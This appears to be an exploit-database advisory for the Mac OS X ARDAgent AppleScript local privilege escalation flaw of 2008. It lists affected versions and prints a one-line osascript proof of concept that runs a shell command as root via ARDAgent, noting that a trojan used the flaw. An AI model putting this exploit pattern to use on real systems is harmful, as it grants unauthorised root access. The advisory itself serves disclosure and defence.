exploits , vulnerabilities , articles , Apple Mac OS X AppleScript ARDAgent Shell Local Privilege Escalation Vulnerability

Title	Apple Mac OS X AppleScript ARDAgent Shell Local Privilege Escalation Vulnerability
Published	2008-06-19-12:00AM
Updated	2008-08-01-08:27AM
Class	Access Validation Error
CVE
Remote	No
Local	Yes
Credit	anonymous
Vulnerable	Apple Mac OS X Server 10.5.4 Apple Mac OS X Server 10.5.3 Apple Mac OS X Server 10.5.2 Apple Mac OS X Server 10.5.1 Apple Mac OS X Server 10.4.11 Apple Mac OS X Server 10.4.10 Apple Mac OS X Server 10.4.9 Apple Mac OS X Server 10.4.8 Apple Mac OS X Server 10.4.7 Apple Mac OS X Server 10.4.6 Apple Mac OS X Server 10.4.5 Apple Mac OS X Server 10.4.4 Apple Mac OS X Server 10.4.3 Apple Mac OS X Server 10.4.2 Apple Mac OS X Server 10.4.1 Apple Mac OS X Server 10.4 Apple Mac OS X Server 10.5 Apple Mac OS X 10.5.4 Apple Mac OS X 10.5.3 Apple Mac OS X 10.5.2 Apple Mac OS X 10.5.1 Apple Mac OS X 10.4.11 Apple Mac OS X 10.4.10 Apple Mac OS X 10.4.9 Apple Mac OS X 10.4.8 Apple Mac OS X 10.4.7 Apple Mac OS X 10.4.6 Apple Mac OS X 10.4.5 Apple Mac OS X 10.4.4 Apple Mac OS X 10.4.3 Apple Mac OS X 10.4.2 Apple Mac OS X 10.4.1 Apple Mac OS X 10.4 Apple Mac OS X 10.5
Not Vulnerable
Code	The following exploit code is available:osascript -e 'tell app "ARDAgent" to do shell script "whoami"';NOTE: This issue is being exploited by the 'AppleScript.THT' trojan to gain elevated privileges. Please see the references for more information.
TXT